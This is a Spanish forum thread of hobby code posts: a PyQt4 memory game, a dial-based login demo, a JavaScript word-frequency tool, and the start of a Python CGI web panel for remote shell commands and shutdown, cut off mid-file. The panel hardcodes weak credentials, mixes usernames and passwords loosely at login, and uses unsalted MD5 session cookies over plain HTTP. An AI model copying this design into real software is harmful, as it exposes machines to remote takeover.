Temas

[PyQT4]

Hola!

Siguiendo con las prácticas en PyQT4, traigo una aplicación "juego" que luce así:


Enseguida explico más o menos en que consiste.

La aplicación se encarga de generar Números/Letras/Números y Letras (según cada gusto) de forma totalmente aleatoria, con la longitud que tu desees. Además de seleccionar un tiempo "límite" para memorizar el valor generado, una vez acabado este tiempo límite, el valor es oculto, para que tu escribas la respuesta y evaluar si lo que memorizaste corresponde realmente a la cifra que generó y mostró por los X segundos que lo configuraste.

Una vez lanzada la aplicación y configurada, damos clic en ¡Establecer Configuración! , lo que nos da un nuevo cuadro, que luce así:

Damos clic en "Comenzar" y tendremos esto:

Una vez acabado el tiempo, el QLineEdit se resetea para que ingreses lo que memorizaste:

Una vez ingresado el valor que memorizaste, presiona ENTER, si el valor fue correcto, entonces tu racha aumentará en +1 , de lo contrario se reiniciará a 0.

Sin más que agregar, el código:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
'''
Juego Memoriza :: Entrenando tu Memoria
Autor: JaAViEr | 0x5d
Twitter: https://twitter.com/javieresteban__
Website: http://codigo.ga
'''
from PyQt4 import QtCore, QtGui
import sys
from random import randint, sample
import threading
from time import sleep

try:

_fromUtf8 = QtCore.QString.fromUtf8

except AttributeError:

def _fromUtf8(s):

return s
try:

_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):

return QtGui.QApplication.translate(context, text, disambig, _encoding)

except AttributeError:

def _translate(context, text, disambig):

return QtGui.QApplication.translate(context, text, disambig)

class formA(QtGui.QWidget):

def __init__(self, parent=None):

self.largo = 4
QtGui.QWidget.__init__(self, parent)
self.resize(359, 131)
self.gridLayout = QtGui.QGridLayout(self)
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.tabWidget_inicial = QtGui.QTabWidget(self)
self.tabWidget_inicial.setStyleSheet(_fromUtf8("font-weight:bold;"))
self.tabWidget_inicial.setObjectName(_fromUtf8("tabWidget_inicial"))
self.tab = QtGui.QWidget()
self.tab.setObjectName(_fromUtf8("tab"))
self.gridLayout_2 = QtGui.QGridLayout(self.tab)
self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2"))
self.label_tipo = QtGui.QLabel(self.tab)
self.label_tipo.setObjectName(_fromUtf8("label_tipo"))
self.gridLayout_2.addWidget(self.label_tipo, 0, 2, 1, 1)
self.pushButton_comenzar = QtGui.QPushButton(self.tab)
self.pushButton_comenzar.setObjectName(_fromUtf8("pushButton_comenzar"))
self.gridLayout_2.addWidget(self.pushButton_comenzar, 2, 0, 1, 3)
self.spinBox_largo = QtGui.QSpinBox(self.tab)
self.spinBox_largo.setMinimum(1)
self.spinBox_largo.setProperty("value", 4)
self.spinBox_largo.setObjectName(_fromUtf8("spinBox_largo"))
self.gridLayout_2.addWidget(self.spinBox_largo, 1, 0, 1, 1)
self.comboBox_tipo = QtGui.QComboBox(self.tab)
self.comboBox_tipo.setObjectName(_fromUtf8("comboBox_tipo"))
self.comboBox_tipo.addItem(_fromUtf8(""))
self.comboBox_tipo.addItem(_fromUtf8(""))
self.comboBox_tipo.addItem(_fromUtf8(""))
self.gridLayout_2.addWidget(self.comboBox_tipo, 1, 2, 1, 1)
self.label_largo = QtGui.QLabel(self.tab)
self.label_largo.setObjectName(_fromUtf8("label_largo"))
self.gridLayout_2.addWidget(self.label_largo, 0, 0, 1, 1)
self.label_tiempo = QtGui.QLabel(self.tab)
self.label_tiempo.setObjectName(_fromUtf8("label_tiempo"))
self.gridLayout_2.addWidget(self.label_tiempo, 0, 1, 1, 1)
self.spinBox_tiempo = QtGui.QSpinBox(self.tab)
self.spinBox_tiempo.setPrefix(_fromUtf8(""))
self.spinBox_tiempo.setObjectName(_fromUtf8("spinBox_tiempo"))
self.spinBox_tiempo.setMinimum(1)
self.gridLayout_2.addWidget(self.spinBox_tiempo, 1, 1, 1, 1)
self.tabWidget_inicial.addTab(self.tab, _fromUtf8(""))
self.gridLayout.addWidget(self.tabWidget_inicial, 0, 0, 1, 1)

self.valores_elementos()
self.connect(self.pushButton_comenzar, QtCore.SIGNAL("clicked()"), self.establecer_configuracion)

def establecer_configuracion(self):

self.tiempo = int(self.spinBox_tiempo.value())
self.largo = int(self.spinBox_largo.value())
form_b.show()
form_b.label_segundos_restantes.setText("%s segundos" % self.tiempo)


def valores_elementos(self):

self.setWindowTitle(_translate("self", "Memoriza :: www.codigo.ga", None))
self.label_tipo.setText(_translate("self", "Tipo de juego", None))
self.pushButton_comenzar.setText(_translate("self", "¡Establecer configuración!", None))
self.comboBox_tipo.setItemText(0, _fromUtf8("Números"))
self.comboBox_tipo.setItemText(1, _translate("self", "Letras", None))
self.comboBox_tipo.setItemText(2, _translate("self", "Números y Letras", None))
self.label_largo.setText(_translate("self", "Largo", None))
self.label_tiempo.setText(_translate("self", "Tiempo para memorizar", None))
self.spinBox_tiempo.setSuffix(_fromUtf8(" segundos"))
self.tabWidget_inicial.setTabText(self.tabWidget_inicial.indexOf(self.tab), _translate("self", "Configuración de Memoriza", None))


class formB(QtGui.QWidget):

def __init__(self, parent=None):

self.valor_generado = ""
self.racha = 0
QtGui.QWidget.__init__(self, parent)
self.setObjectName(_fromUtf8("self"))
self.resize(215, 104)
self.gridLayout = QtGui.QGridLayout(self)
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.splitter = QtGui.QSplitter(self)
self.splitter.setOrientation(QtCore.Qt.Vertical)
self.splitter.setObjectName(_fromUtf8("splitter"))
self.label_memoriza = QtGui.QLabel(self.splitter)
self.label_memoriza.setStyleSheet(_fromUtf8("font-weight: bold; font-size: 17px;"))
self.label_memoriza.setObjectName(_fromUtf8("label_memoriza"))
self.lineEdit_valor_memorizar = QtGui.QLineEdit(self.splitter)
self.lineEdit_valor_memorizar.setReadOnly(True)
self.lineEdit_valor_memorizar.setObjectName(_fromUtf8("lineEdit_valor_memorizar"))
self.gridLayout.addWidget(self.splitter, 0, 0, 1, 2)
self.label_tiempo_restante = QtGui.QLabel(self)
self.label_tiempo_restante.setObjectName(_fromUtf8("label_tiempo_restante"))
self.gridLayout.addWidget(self.label_tiempo_restante, 1, 0, 1, 1)
self.label_segundos_restantes = QtGui.QLabel(self)
self.label_segundos_restantes.setStyleSheet(_fromUtf8("font-style: italic; font-weight: bold;"))
self.label_segundos_restantes.setObjectName(_fromUtf8("label_segundos_restantes"))
self.gridLayout.addWidget(self.label_segundos_restantes, 1, 1, 1, 1)
self.pushButton_comenzar = QtGui.QPushButton(self)
self.pushButton_comenzar.setObjectName(_fromUtf8("pushButton_comenzar"))
self.gridLayout.addWidget(self.pushButton_comenzar, 3, 0, 1, 2)
self.label_racha = QtGui.QLabel(self)
self.label_racha.setObjectName(_fromUtf8("label_racha"))
self.gridLayout.addWidget(self.label_racha, 2, 0, 1, 1)
self.label_valor_racha = QtGui.QLabel(self)
self.label_valor_racha.setStyleSheet(_fromUtf8("font-weight:  bold;"))
self.label_valor_racha.setObjectName(_fromUtf8("label_valor_racha"))
self.gridLayout.addWidget(self.label_valor_racha, 2, 1, 1, 1)

self.connect(self.pushButton_comenzar, QtCore.SIGNAL("clicked()"), self.empezar)
self.connect(self.pushButton_comenzar, QtCore.SIGNAL("returnPressed()"), self.empezar)
self.connect(self.lineEdit_valor_memorizar, QtCore.SIGNAL("returnPressed()"), self.cambia_valor)
self.renombrar_elementos_widget()
QtCore.QMetaObject.connectSlotsByName(self)

def cambia_valor(self):

qstring = str(self.lineEdit_valor_memorizar.text())
# mensaje = QtGui.QMessageBox()

if qstring == self.valor_generado and len(self.valor_generado) > 0 and len(qstring) > 0:

# mensaje.setText(_fromUtf8("¡Respuesta correcta!"))
self.pushButton_comenzar.setFocus(True)
self.lineEdit_valor_memorizar.setText("")
self.valor_generado = False
self.racha = self.racha + 1
self.label_valor_racha.setText(str(self.racha))
self.empezar()

else:

self.lineEdit_valor_memorizar.setText("")
self.valor_generado = False
# mensaje.setText(_fromUtf8("¡Respuesta Incorrecta!"))
self.racha = 0
self.correr = False
self.label_valor_racha.setText("0")
self.empezar()

# mensaje.exec_()

def generar_numero(self):

valor = ""
for i in range(form_a.largo,):

valor = valor + str(randint(0, 9))

return valor

def generar_letras(self):

valor = ""
lista = list("abcdefghijklmnopqrstuvwxyz")
len_lista = len(lista) - 1
for i in range(form_a.largo):

valor = valor + lista[randint(0,len_lista)]

return valor

def generar_alfanumerico(self):

valor = ""
lista_abc = list("abcdefghijklmnopqrstuvwxyz")
lista_digitos = list("0123456789")
largo = form_a.largo / 2
len_lista_abc = len(lista_abc) - 1
len_lista_digitos = len(lista_digitos) - 1
for i in range(largo):

valor = valor + lista_abc[randint(0,len_lista_abc)]

for i in range(largo):

valor = valor + lista_digitos[randint(0,len_lista_digitos)]

return ''.join(sample(valor, len(valor)))

def empezar(self):

opcion = form_a.comboBox_tipo.currentIndex()
self.lineEdit_valor_memorizar.setReadOnly(True)
if opcion == 0:
self.valor_generado = self.generar_numero()
self.lineEdit_valor_memorizar.setText(self.valor_generado)
elif opcion == 1:
self.valor_generado = self.generar_letras()
self.lineEdit_valor_memorizar.setText(self.valor_generado)
elif opcion == 2:
self.valor_generado = self.generar_alfanumerico()
self.lineEdit_valor_memorizar.setText(self.valor_generado)

t = Timer()
t.start()

def renombrar_elementos_widget(self):

self.setWindowTitle(_translate("self", "Tablero", None))
self.label_memoriza.setText(_translate("self", "<html><head/><body><p align=\"center\"><span style=\" font-size:13pt;\">Memoriza</span></p></body></html>", None))
self.lineEdit_valor_memorizar.setText(_translate("self", "", None))
self.label_tiempo_restante.setText(_translate("self", "Tiempo restante", None))
self.label_segundos_restantes.setText(_translate("self", "10 segundos", None))
self.label_racha.setText(_translate("self", "Racha", None))
self.label_valor_racha.setText(_translate("self", "0", None))
self.pushButton_comenzar.setText(_translate("self", "Comenzar", None))

class Timer(threading.Thread):

def __init__(self, parent=None):

threading.Thread.__init__(self, parent)

def run(self):

tiempo_restante = form_a.tiempo

for i in range(form_a.tiempo):
form_b.label_segundos_restantes.setText("%s segundos" % tiempo_restante)
tiempo_restante = tiempo_restante - 1
sleep(1)

form_b.label_segundos_restantes.setText("0 segundos")
form_b.lineEdit_valor_memorizar.setText("")
form_b.lineEdit_valor_memorizar.setReadOnly(False)
form_b.lineEdit_valor_memorizar.setFocus(True)

app = QtGui.QApplication(sys.argv)
form_b = formB()
form_a = formA()
form_a.show()
app.exec_()

Fuente: http://codigo.ga/python/pyqt4-memoriza-entrenando-la-memoria/

Saludos, Javier.

[PyQT4]

Hola, buen día, luego de meses y meses y meses (na', nunca tanto), de no escribir nada en el Blog, ni mucho menos programar alguna cosilla en PyQT4, he vuelto.

En esta ocasión traigo un Inicio de Sesión basado en el sistema de las antiguas Cajas Fuertes, dónde para ingresar al contenido de dicha caja, necesitabas una combinación de números. Aclaro que esto es solo una prueba de concepto, lo publico solo con dicha intención.

El programa luce así exactamente:


Más abajo explico como funciona, ahora adjunto el código:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
'''
Prueba de Concepto sobre Inicio de sesión con Dial de QT4
Autor: JaAViEr | 0x5d
Twitter: https://twitter.com/javieresteban__
Website: http://codigo.ga
'''
from PyQt4 import QtCore, QtGui
import sys
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s

try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)

class Form(QtGui.QWidget):

def __init__(self, parent=None):


estilo_elementos = '''background:qlineargradient(spread:reflect, x1:0.523, y1:0.778, x2:0.545455, y2:0, stop:0 rgba(0, 176, 140, 214), stop:1 rgba(255, 255, 255, 255));
color: #000;padding: 10px;'''
QtGui.QWidget.__init__(self, parent)
self.clave = [220,1, 1000]
self.usuario = "jaavier"
self.intento_clave = []
self.setObjectName(_fromUtf8("self"))
self.setFixedSize(400, 484)
self.setStyleSheet(_fromUtf8("font-weight:bold; font-size: 15px;background:qlineargradient(spread:reflect, x1:0.523, y1:0.778, x2:0.545455, y2:0, stop:0 rgba(0, 176, 140, 214), stop:1 rgba(255, 255, 255, 255));"))
self.gridLayout = QtGui.QGridLayout(self)
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.splitter_2 = QtGui.QSplitter(self)
self.splitter_2.setOrientation(QtCore.Qt.Vertical)
self.splitter_2.setObjectName(_fromUtf8("splitter_2"))
self.lcdNumber_numeros = QtGui.QLCDNumber(self.splitter_2)
self.lcdNumber_numeros.setObjectName(_fromUtf8("lcdNumber_numeros"))
self.lcdNumber_numeros.setStyleSheet(estilo_elementos)
self.dial_contrasena = QtGui.QDial(self.splitter_2)
self.dial_contrasena.setMaximum(1000)
self.dial_contrasena.setStyleSheet("background: rgb(85, 255, 255)")
self.dial_contrasena.setObjectName(_fromUtf8("dial_contrasena"))
self.gridLayout.addWidget(self.splitter_2, 3, 0, 1, 1)
self.label_usuario = QtGui.QLabel(self)
self.label_usuario.setStyleSheet(_fromUtf8("font-weight:bold; font-size: 15px;"))
self.label_usuario.setObjectName(_fromUtf8("label_usuario"))
self.label_usuario.setStyleSheet("background: transparent")
self.gridLayout.addWidget(self.label_usuario, 0, 0, 1, 1)
self.lineEdit_usuario = QtGui.QLineEdit(self)
self.lineEdit_usuario.setStyleSheet(estilo_elementos)
self.lineEdit_usuario.setObjectName(_fromUtf8("lineEdit_usuario"))
self.gridLayout.addWidget(self.lineEdit_usuario, 1, 0, 1, 1)
self.label_contrasena = QtGui.QLabel(self)
self.label_contrasena.setObjectName(_fromUtf8("label_contrasena"))
self.label_contrasena.setStyleSheet("background: transparent")
self.gridLayout.addWidget(self.label_contrasena, 2, 0, 1, 1)
self.pushButton_reiniciar = QtGui.QPushButton(self)
self.pushButton_reiniciar.setObjectName(_fromUtf8("pushButton_reiniciar"))
self.gridLayout.addWidget(self.pushButton_reiniciar, 4, 0, 1, 1)
self.pushButton_reiniciar.setStyleSheet(estilo_elementos)
self.renombrarObjetos()
QtCore.QObject.connect(self.dial_contrasena, QtCore.SIGNAL(_fromUtf8("valueChanged(int)")), self.lcdNumber_numeros.display)
QtCore.QObject.connect(self.pushButton_reiniciar, QtCore.SIGNAL(_fromUtf8("clicked()")), self.limpiar_campos)
QtCore.QMetaObject.connectSlotsByName(self)

def limpiar_campos(self):

self.lineEdit_usuario.setText("")
self.intento_clave = []
self.dial_contrasena.setValue(0)
mensaje_reinicio = QtGui.QMessageBox()
mensaje_reinicio.setText(_fromUtf8("Formulario reiniciado con éxito"))

def keyPressEvent(self, evento):

tecla = evento.key()

if tecla == 32:

usuario = str(self.lineEdit_usuario.text())
self.intento_clave.append(int(self.lcdNumber_numeros.value()))
self.dial_contrasena.setValue(0)
if self.intento_clave == self.clave and usuario == self.usuario:

mensaje = QtGui.QMessageBox()
mensaje.setText("Bienvenido, " + usuario)
mensaje.exec_()
self.limpiar_campos()

def renombrarObjetos(self):

self.setWindowTitle(_translate("self", "Iniciar Sesión :: WWW.CODIGO.GA", None))
self.label_usuario.setText(_translate("self", "Usuario", None))
self.label_contrasena.setText(_translate("self", "Contraseña", None))
self.pushButton_reiniciar.setText(_translate("self", "Reiniciar campos", None))

app = QtGui.QApplication(sys.argv)
formulario = Form()
formulario.show()
app.exec_()
Bien, dentro del código, específicamente en las líneas 32 y 33 tenemos dos variables:

Código (python) [Seleccionar] Expandir


self.clave = [220,1, 1000]
self.usuario = "jaavier"

Como vemos, self.usuario es la variable de nuestro usuario válido y self.clave es una Lista, cuyo valor es [220, 1, 1000], lo que quiere decir que esa es nuestra combinación para ingresar de forma correcta. En ves de 3 dígitos en la combinación, pueden ser los que se te antojen.

Para ingresar nuestra combinación (220, 1, 1000), es necesario utilizar nuestro cursor e ir moviendo la "perilla" (QDial), a medida que vayamos moviendo esta, el valor se irá viendo en la pantalla estilo "LCD" en la parte superior. Cuando hayas encontrado los números de tu combinación, debes presionar la tecla "Espacio", de esta forma le decimos al programa que el número que vemos en el LCD, forma parte de nuestra combinación, una vez hecho esto con la primera cifra, el QDial vuelve a 0, lo que quiere decir que ahora debes buscar el segundo número de tu combinación, presionar espacio y así lo mismo con el tercer, cuarto, quinto, etc dígito.

Si la combinación resulta correcta, deberías obtener algo como esto:


Fuente: http://codigo.ga/python/pyqt4-inicio-de-sesion-estilo-caja-fuerte/

Saludos, Javier.

Hola, muy buen día.

El código javascript que publicaré más abajo se encarga de capturar todas las palabras dentro de algún elemento, clase o id. Nos creará un pequeño formulario "flotante", en el cuál nos pedirá "Longitud", "Veces", "Elemento" (Filtros).

¿ Que es eso de "Filtros"?

Los dos primeros son una especie de filtros, así mostramos resultados más específicos.

   
• Longitud: Busca palabras con la longitud que tu deseas (>=)
• Veces: Cantidad de veces que aparece en la web
• Elemento: Acá ingresamos en que elemento de la web deseamos buscar Las palabras más utilizadas. El script al usar jQuery, nos permite insertar en este campo ".clases", "#ids" o simplemente elementos como <body>

Una vez rellenes los campos, el programa te dará una salida con una tabla como esta:

Ejemplo basado en el portal de noticias http://actualidad.rt.com

Sin más, el código:

Código (javascript) [Seleccionar] Expandir

var script = document.createElement('script');
script.src = 'http://code.jquery.com/jquery-latest.js';
document.getElementsByTagName('head')[0].appendChild(script);

var times_form;
var element_form;
var length_form;
var l_temp;
var dict = {};
var new_dict = {};
var splited = "";
var counter;
var get_data = function (text, length) {

splited = text.split(" ");

 for ( var a in splited ) {

if( dict[splited[a]] ) {

     splited[a] = splited[a].toLowerCase();
dict[splited[a]] = dict[splited[a]] + 1;
   
} else {
   
     if ( splited[a].length >= length ) {

     splited[a] = splited[a].toLowerCase();
       dict[splited[a]] = 1;
   
  }
   
   }
 
}
 
};

var extract = function (element, length, times) {

 new_dict = {};
 dict = {};
 
 $(element).each( function () {
 
 get_data($(this).text(), length);
 
});

 for ( var c in dict ) {
 
   if ( dict[c] >= times ) {
   
     new_dict[c] = dict[c];
   
   }
 
 }  

 var output = "<table border='1'>"+
     "<thead>"+
     "<th>Palabra</th>"+
     "<th>Longitud</th>"+
     "<th>Apariciones</th>"+
     "</thead>"+
     "<tbody>";
 counter = 0;
 for( var l in new_dict ) {

   counter++;
   l_temp = l.replace("<", "&lt;");
   l_temp = l_temp.replace(">", "&gt;");
   output = output + "<tr>"+
     "<td>" + l_temp + "</td><td>" + l.length + "</td><td>" + new_dict[l] + "</td>"+
     "</tr>";
   
 }
 output = output + "</tbody></table>";
 
 show_results(output);
 return new_dict;

};

var find = function (word) {

 if ( new_dict[word] ) {
 
  show_results(String(new_dict[word]));
 
 } else {
 
  show_results("Word Not found");
 
 }

};

var search = function () {

 length_form = $("input[name=length_craw]").val();
 times_form = $("input[name=times_craw]").val();
element_form = $("input[name=element_craw]").val();
 if( length_form.length > 0 && times_form.length > 0 && element_form.length > 0 ) {
 
   extract(element_form, length_form, times_form);
 
 }

};

var show_form = function () {

 $("<div class='show_words' style='border-radius:5px;box-shadow:0px 0px 10px #000;overflow:scroll;font-family:Trebuchet MS;width:auto;height:6cm;background-color:#fff;border:1px solid;position:fixed;top:12%;left:2%;padding:5px;z-index:30;'>"+
   "<center><h2>Palabras más utilizadas</h2></center><input style='padding: 2px;border: 1px solid;border-radius: 4px;margin: 4px;' name='length_craw' placeholder='Longitud'>&nbsp;<input style='padding: 2px;border: 1px solid;border-radius: 4px;margin: 4px;' name='times_craw' placeholder='Veces'><br/>"+
   "<input style='padding: 2px;border: 1px solid;border-radius: 4px;margin: 4px;' name='element_craw' placeholder='Elemento'>&nbsp;<button onclick='search()' style='padding: 2px;border: 1px solid;border-radius: 4px;margin: 4px;'>¡Buscar!</button>&nbsp;<button onclick='$(\".show_words\").fadeOut();' style='padding: 2px;border: 1px solid;border-radius: 4px;margin: 4px;'>Cerrar</button>"+
   "<div class='words_content'></div></div>").appendTo("body");

};

var show_results = function (content) {

 $(".words_content").html("Total:" + counter + "<br/>" + content);

};

show_form();

FUENTE ORIGINAL : http://codigo.ga/javascript/javascriptpalabras-mas-utilizadas-en-sitio-web/


Sin más que agregar... gracias por leer :-)

Saludos, Javier.

[Solo extraer en una carpeta y ejecutar server.py PUERTO]

¿ Qué es PC Control Remoto ?

PC Control Remoto es un programa/web desarrollado bajo el lenguaje de programación Python en conjunto con su librería CGI, la cuál nos permitirá montar un servidor CGI y poder llevar acabo nuestro cometido.

Este programa nos permitirá acceder a nuestro computador forma remota, con tu Navegador favorito, conectado vía LAN o a Internet (configuración aparte), desde cualquier navegador. Las funciones que nos brinda son las siguiente:

   
• Consola - Terminal remota: Puedes ejecutar cualquier comando y obtener su salida desde tu navegador.
     
• Comándos rápidos: Entre estos comándos rápidos tenemos las posibilidad de:
  
  
     
  • Apagar PC. (60 segundos).
       
  • Reiniciar PC. (60 segundos).
       
  • Cancelar Apagado/Reinicio.
       
  • Matar un proceso.
       
  • Iniciar un proceso.
    

El programa en general se compone de:

   
• Server.py - Programa encargado de crear el servidor bajo el puerto que queramos.
     
• Index.py - Login e inicio del Panel de Control.
     
• Terminal.py - Consola remota.
     
• Comando_rapido.py - Comandos rápidos.
     
• Logout.py - Cerrar sesión
  

Además de otros componentes como Topcoat (CSS), jQuery (JS).

Link de descarga con todos los archivos.

Solo extraer en una carpeta y ejecutar server.py PUERTO

Adjunto el código de cada archivo Python mencionado anteriormente

server.py

Código (python) [Seleccionar] Expandir

'''
Autor: JaAViEr
Twitter: @javieresteban__
Website: http://codigo.ga
'''
from CGIHTTPServer import CGIHTTPRequestHandler
from BaseHTTPServer import HTTPServer
import socket
import sys

try:

port = int(sys.argv[1])

if port:

ip_interna = socket.gethostbyname(socket.gethostname())
print "Panel de control: http://%s:%s/cgi-bin/index.py" % (ip_interna, port)
server_address=('', port)
httpd = HTTPServer(server_address, CGIHTTPRequestHandler)
httpd.serve_forever()

except:

print "-"*40
print "Uso:"
print sys.argv[0], "PUERTO"
print "-"*40
print "Ejemplo de uso:"
print sys.argv[0], "5050"
print "-"*40

Luego de server.py, deben pasar como parámatro el puerto al cual estará asociado el servidor.



index.py

Código (python) [Seleccionar] Expandir

#-*- encoding:utf-8 -*-
'''
Autor: JaAViEr
Twitter: @javieresteban__
Website: http://codigo.ga
'''
import cgi
import os
import Cookie
import md5

lista_usuarios = ["admin", "JaAViEr"] #Usuarios
lista_passwords = ["root", "toor"] # Contraseñas
method = os.environ.get("REQUEST_METHOD")
logueado = False
contenido_cookies = os.environ.get('HTTP_COOKIE')

tag_head = ''' <meta charset="UTF-8">
<link rel="stylesheet" type="text/css" href="/topcoat/css/topcoat-mobile-dark.min.css" class="uib-framework-theme">
<link rel="stylesheet" type="text/css" href="/css/index_main.less.css" class="main-less">
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
<style type="text/css">
/* Prevent copy paste for all elements except text fields */
*  { -webkit-user-select:none; -webkit-tap-highlight-color:rgba(255, 255, 255, 0); }
input, textarea  { -webkit-user-select:text; }
</style>
<script type="application/javascript" src="/js/jquery.min.js"></script>
<script type="application/javascript" src="/js/index_user_scripts.js"></script>'''

def code_login(accion=False):

if accion == 'error':

mensaje_error = '''
  <div class="topcoat-navigation-bar widget uib_w_1 d-margins" data-uib="topcoat/nav" data-ver="0">
<div class="topcoat-navigation-bar__item center full">
<h1 class="topcoat-navigation-bar__title">Verifica tus credenciales por favor[/size][/center]
</div>
  </div>
'''

else:

mensaje_error = ''

return '''
<!DOCTYPE html>
<html>

  <head>
''' + tag_head + '''
<title>Indetifícate en el sistema</title>
  </head>

  <body>
    <div class="uwrap">
      <div class="upage" id="mainpage">
        <div class="upage-outer">
          <div class="upage-content" id="mainsub">

            <div class="grid grid-pad urow uib_row_2 row-height-2" data-uib="layout/row" data-ver="0">
              <div class="col uib_col_2 col-0_12-12" data-uib="layout/col" data-ver="0">
                <div class="widget-container content-area vertical-col">

                  <div class="topcoat-navigation-bar widget uib_w_1 d-margins" data-uib="topcoat/nav" data-ver="0">
                    <div class="topcoat-navigation-bar__item center full">
                      <h1 class="topcoat-navigation-bar__title">Indentifícate[/size][/center]
                    </div>
                  </div>
                  <span class="uib_shim"></span>
                </div>
              </div>
              <span class="uib_shim"></span>
            </div>

            <div class="grid grid-pad urow uib_row_3 row-height-3" data-uib="layout/row" data-ver="0">

<form action="" method="POST">
<div class="col uib_col_3 col-0_12-12" data-uib="layout/col" data-ver="0">
<div class="widget-container content-area vertical-col">
<div class="table-thing widget uib_w_2 d-margins" data-uib="topcoat/input" data-ver="0">
<label class="narrow-control label-top-left">Usuario</label>
<input class="wide-control topcoat-text-input" type="text" placeholder="Usuario" name="usuario">
</div>
<div class="table-thing widget d-margins" data-uib="topcoat/input" data-ver="0">
<label class="narrow-control label-top-left">Contraseña</label>
<input class="wide-control topcoat-text-input" type="password" placeholder="Contraseña" name="password">
</div>
<button class="widget d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0">Ingresar</button><span class="uib_shim"></span>
</div>
''' +mensaje_error+ '''
</form>
              </div>
              <span class="uib_shim"></span>
            </div>
          </div>
          <!-- /upage-content -->

        </div>
        <!-- /upage-outer -->

      </div>
      <!-- /upage -->

    </div>
    <!-- /uwrap -->
  </body>

</html>'''

code = '''<!DOCTYPE html>
<!--HTML5 doctype-->
<html>

<head>
''' + tag_head + '''
<title>Control Remoto :: 2014</title>
</head>

<body>
<!-- content goes here-->
<div class="uwrap">
<div class="upage" id="mainpage">
<div class="upage-outer">
<div class="upage-content" id="mainsub">

<div class="grid grid-pad urow uib_row_1 row-height-1" data-uib="layout/row" data-ver="0">
<div class="col uib_col_2 col-0_12-12" data-uib="layout/col" data-ver="0">
<div class="widget-container content-area vertical-col">

<div class="topcoat-navigation-bar widget uib_w_2 d-margins" data-uib="/topcoat/nav" data-ver="0">
<div class="topcoat-navigation-bar__item center full">
<h1 class="topcoat-navigation-bar__title">Panel de Control Remoto[/size][/center]
</div>
</div>
<button class="widget uib_w_4 d-margins topcoat-button--large--cta" data-uib="/topcoat/button" data-ver="0">Consola - Terminal</button>
<button class="widget uib_w_3 d-margins topcoat-button--large--cta" data-uib="/topcoat/button" data-ver="0">Enviar comando rápido</button>
<button class="widget uib_w_5 d-margins topcoat-button--large" onclick='location.href="logout.py"' data-uib="/topcoat/button" data-ver="0">Salir</button>
<span class="uib_shim"></span>
</div>
</div>
<span class="uib_shim"></span>
</div>

</div>
<!-- /upage-content -->

</div>
<!-- /upage-outer -->

</div>
<div class="upage hidden" id="uib_page_3">
<div class="upage-outer">
<div id="uib_page_3sub" class="upage-content ">
</div>
</div>
<!-- /upage-outer -->
te </div>
<div class="upage hidden" id="uib_page_2">
<div class="upage-outer">
<div id="uib_page_2sub" class="upage-content ">
</div>
</div>
<!-- /upage-outer -->
</div>
<div class="upage hidden" id="uib_page_1">
<div class="upage-outer">
<div id="uib_page_1sub" class="upage-content ">
</div>
</div>
<!-- /upage-outer -->
</div>

<!-- /upage -->

</div>
<!-- /uwrap -->
</body>

</html>'''

def verificar_login(u, p):

if u in lista_usuarios and p in lista_passwords:

session = u + p
session = md5.md5(session).hexdigest()
return True

else:

return False

if contenido_cookies: #Si hay cookies...

valores_cookie = Cookie.SimpleCookie(contenido_cookies)
session_actual = valores_cookie['sess'].value # session_actual = cookie "sess"

if session_actual == "false": # No logueado

logueado = False

else: # Verifica login

for a, b in zip(lista_usuarios, lista_passwords):

session_temporal = a + b
session_temporal = md5.md5(session_temporal).hexdigest()

if session_actual == session_temporal:

logueado = True # Login coincide
break

else:

pass

else: #No logueado, sess = false

print "Set-Cookie:sess=false"

print "Content-Type: text/html"

if method == "POST":

form = cgi.FieldStorage()
usuario = form.getvalue('usuario')
password = form.getvalue('password')

if verificar_login(usuario, password):

session = usuario + password
session = md5.md5(session).hexdigest()
print "Set-Cookie:sess=%s" % session
print
print code

else:

print
print code_login('error')

elif method == "GET":

if not logueado:

print code_login()

else:

print code

terminal.py

Código (python) [Seleccionar] Expandir

#-*- encoding:utf-8 -*-
'''
Autor: JaAViEr
Twitter: @javieresteban__
Website: http://codigo.ga
'''
import cgi
import os
import Cookie
import md5

print "Content-Type: text/html"
print

code_terminal = '''
<!DOCTYPE html>
<html>

  <head>
    <link rel="stylesheet" type="text/css" href="/topcoat/css/topcoat-mobile-dark.min.css" class="uib-framework-theme">
    <link rel="stylesheet" type="text/css" href="/css/terminal_main.less.css" class="main-less">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
<title>Terminal</title>
    <script src="/js/jquery.min.js"></script>
  </head>

  <body>
    <div class="uwrap">
      <div class="upage" id="mainpage">
        <div class="upage-outer">
          <div class="upage-content" id="mainsub">

            <div class="grid grid-pad urow uib_row_1 row-height-1" data-uib="layout/row" data-ver="0">
              <div class="col uib_col_1 col-0_12-12" data-uib="layout/col" data-ver="0">
                <div class="widget-container content-area vertical-col">

                  <div class="topcoat-navigation-bar widget uib_w_1 d-margins" data-uib="/topcoat/nav" data-ver="0">
                    <div class="topcoat-navigation-bar__item center full">
                      <h1 class="topcoat-navigation-bar__title">Consola - Terminal[/size][/center]
                    </div>
                  </div>
                  <div class="table-thing widget uib_w_2 d-margins" data-uib="/topcoat/textarea" data-ver="0">
                    <label class="narrow-control label-inline"></label>
                    <textarea class="wide-control topcoat-textarea" type="text" placeholder="Comandos" name="comando"></textarea>
                  </div>
<button class="widget uib_w_2 d-margins topcoat-button--cta" data-uib="topcoat/button" data-ver="0" onclick='execute();'>¡Ejecutar!</button>
